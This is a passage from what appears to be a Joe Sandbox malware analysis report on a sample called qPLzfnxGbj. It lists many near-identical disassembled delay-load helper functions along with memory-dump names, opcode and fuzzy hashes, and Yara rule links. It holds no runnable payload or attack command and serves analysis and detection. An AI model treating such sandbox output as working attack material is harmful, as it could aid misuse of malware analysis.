                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: cff41171f16f041df67c861787b91859ef4e0dfc864999e9523f7639cba55235
                                                              • Instruction ID: d75f55cac5bd7d8b6a246996bcdc563d9159abb13390e33e3e44d753b0b087c3
                                                              • Opcode Fuzzy Hash: cff41171f16f041df67c861787b91859ef4e0dfc864999e9523f7639cba55235
                                                              • Instruction Fuzzy Hash: 8EB0129235C102BD370466143E02D37010CC6C9B11330951EF401C2283D4408D460431
                                                              Function 00D94985 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 118b90d268dbf27c9a9e2883935df0638eccf757c095c3f65fd537a20f72295d
                                                              • Instruction ID: f49f9c182e3a3eb7d02b44d69a40cddd578eaebcefe6998554e30f6388ae57ec
                                                              • Opcode Fuzzy Hash: 118b90d268dbf27c9a9e2883935df0638eccf757c095c3f65fd537a20f72295d
                                                              • Instruction Fuzzy Hash: 26B0128125C102BD374862643E02D37010CC6C8B11330891EF006C2383D4408C4A0431
                                                              Function 00D949B7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: dea6a9c906829c4088544f33fca052f08d6bc1828461e90a6e1941a1837ef0ba
                                                              • Instruction ID: 2e523bdc4c828c6d6368caf2f9a814ce462f4e4e3a7c21236443bfa02da9fd3f
                                                              • Opcode Fuzzy Hash: dea6a9c906829c4088544f33fca052f08d6bc1828461e90a6e1941a1837ef0ba
                                                              • Instruction Fuzzy Hash: A6B0128129D102BD370466143E02D37010DC6C9B11330851EF401C22C3D4408C460431
                                                              Function 00D949A3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 6f754cd502174c775869edc7f8c3c6adff65a39d7454c8d3251d0bb93c5555bd
                                                              • Instruction ID: 4285784b1e0931380c1c407b39a65238c4a7c97c517ec6e73488ac123f3e2fe0
                                                              • Opcode Fuzzy Hash: 6f754cd502174c775869edc7f8c3c6adff65a39d7454c8d3251d0bb93c5555bd
                                                              • Instruction Fuzzy Hash: A0B0129135C102BD370462153F02D37010CC6C8B11330551EF401C2283D4418E470431
                                                              Function 00D9495D Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 87de8b2760aa6f1f2cb346e5b73611aea982dc1f815581d0afea43e51fb03a5f
                                                              • Instruction ID: 8c6dabe0a26e074cc912ccd0a25080b6f43b1ea56c8af3cac60af622271ddd0b
                                                              • Opcode Fuzzy Hash: 87de8b2760aa6f1f2cb346e5b73611aea982dc1f815581d0afea43e51fb03a5f
                                                              • Instruction Fuzzy Hash: 4EB012C525C202BD370462543E02D37010CD6C8B11330451EF001C2383D4408C460531
                                                              Function 00D94953 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 348cbb9d4a48d9d3006e2faf66aafbddada1e91763380a39171e126c1bbf06b4
                                                              • Instruction ID: 2bde4f641013b3674a20d90b77ef826eb536427060a8b80b76ab56c1ba865946
                                                              • Opcode Fuzzy Hash: 348cbb9d4a48d9d3006e2faf66aafbddada1e91763380a39171e126c1bbf06b4
                                                              • Instruction Fuzzy Hash: 91B0128525C302BD370462553F02D37010CC6C8B11330451EF401C2383D4418E470431
                                                              Function 00D94949 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 65dcaecb50834ce6a04ef05a90d09e0d7fd15618c74ad9fb965132cd9cbdaf81
                                                              • Instruction ID: ebf51b5928c1e662dc050f68a7e4d7515b16d11012c196a5e72c0eac833c6f24
                                                              • Opcode Fuzzy Hash: 65dcaecb50834ce6a04ef05a90d09e0d7fd15618c74ad9fb965132cd9cbdaf81
                                                              • Instruction Fuzzy Hash: 97B0128525C302BD3B4462553E02D37011CC6C8B11330461EF001C2383D4408C860431
                                                              Function 00D9497B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: d66639ab30584f4f0933af8b8a84e144676e7e4fb3daa4ed77f8d5152ff5425c
                                                              • Instruction ID: 06c569439bbc9f3131d8c0f1dd452166a3a8e40de2d78cb43da1a436bdaf5c37
                                                              • Opcode Fuzzy Hash: d66639ab30584f4f0933af8b8a84e144676e7e4fb3daa4ed77f8d5152ff5425c
                                                              • Instruction Fuzzy Hash: C6B0128125C102BD374862153F02D37010CC6C8B11330851EF405C2383D4418D4F1431
                                                              Function 00D94967 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: edf1af9268714d2229021138c7f003d09f40701fff6393e5043177219066a27f
                                                              • Instruction ID: 51a4b647bd5b13da9afa68fe5736276a7f8ba16eb8a18dd490b9b9b90f41a7bb
                                                              • Opcode Fuzzy Hash: edf1af9268714d2229021138c7f003d09f40701fff6393e5043177219066a27f
                                                              • Instruction Fuzzy Hash: 45B0128125C103BD37486A143E02D37010CC6C9B11330C51FF405C2383D4408C4A0431
                                                              Function 00D94906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: f94e5bc519a60a29e60f3471801d31a550715e9cec34443e92be3122ba53254f
                                                              • Instruction ID: ba76b80b556d340985bd5e8cbf1dbf5e008a121b2727604b18df01e0642b03ce
                                                              • Opcode Fuzzy Hash: f94e5bc519a60a29e60f3471801d31a550715e9cec34443e92be3122ba53254f
                                                              • Instruction Fuzzy Hash: 6CB0129125C102BD370427113F02D77020CC6C4B11331461EF401C1183D8429D470435
                                                              Function 00D9493F Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 2d59ebef5298b8a40860853f16cd36024d548b10eb41ae842f484b31589dba50
                                                              • Instruction ID: 443181a7f33a27184f203d23b76e57acf7940f7688162bce9b809fd7047660e1
                                                              • Opcode Fuzzy Hash: 2d59ebef5298b8a40860853f16cd36024d548b10eb41ae842f484b31589dba50
                                                              • Instruction Fuzzy Hash: E2B0128525C202BD370466543E02D37010CC6C9B11330851EF401C2383D4409C460431
                                                              Function 00D94935 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 9ec71574a0901f3abd918c1e5bae6dc249fd771f2eee1685cc374707e79a4b6b
                                                              • Instruction ID: 0505a2a60040e80ef3b5e6cc430ee37dcc5310db8045a335c8526493a2dbc211
                                                              • Opcode Fuzzy Hash: 9ec71574a0901f3abd918c1e5bae6dc249fd771f2eee1685cc374707e79a4b6b
                                                              • Instruction Fuzzy Hash: DFB0128126C202BD370462147E02D37011CC6C8B11330461FF001C2283D4408C460835
                                                              Function 00D9492B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 120bb0c9304a5f35765815a298b78a7d6aa052e5918c634fbf8d9d44f1bf631b
                                                              • Instruction ID: 8a8ab4b8506b714caac36f735182c163dc3ed57b51f14557548438df5e39fcef
                                                              • Opcode Fuzzy Hash: 120bb0c9304a5f35765815a298b78a7d6aa052e5918c634fbf8d9d44f1bf631b
                                                              • Instruction Fuzzy Hash: 83B0128125C102BD370462157F02D37011CC6C8B11370471EF401C2283D4418D470835
                                                              Function 00D94921 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 48aacbdd2e56f1b4e55a9589c8659b90d0ad6ce6c44c78e747d01b543afdefad
                                                              • Instruction ID: 723306769185a3b938ecc8dc8643ac53bed9c93c63c766628190198136573789
                                                              • Opcode Fuzzy Hash: 48aacbdd2e56f1b4e55a9589c8659b90d0ad6ce6c44c78e747d01b543afdefad
                                                              • Instruction Fuzzy Hash: 75B0128125C202BD374462157E02D37011CC6C8B11330471EF001C2283D4408C860835
                                                              Function 00D94A07 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: de216e7a52ab34b03a49a3efc5c63043574cc0776a99536388d09e145d55fbaf
                                                              • Instruction ID: 62231d88d38c3ea3c3a7d6b5a4529904f3d4fb42acdc872e93819d04c16e73a2
                                                              • Opcode Fuzzy Hash: de216e7a52ab34b03a49a3efc5c63043574cc0776a99536388d09e145d55fbaf
                                                              • Instruction Fuzzy Hash: 66B0128125C102BE370466147E03D37010CC6C9B11330891EF401C6283D4408C460431
                                                              Function 00D94B8A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
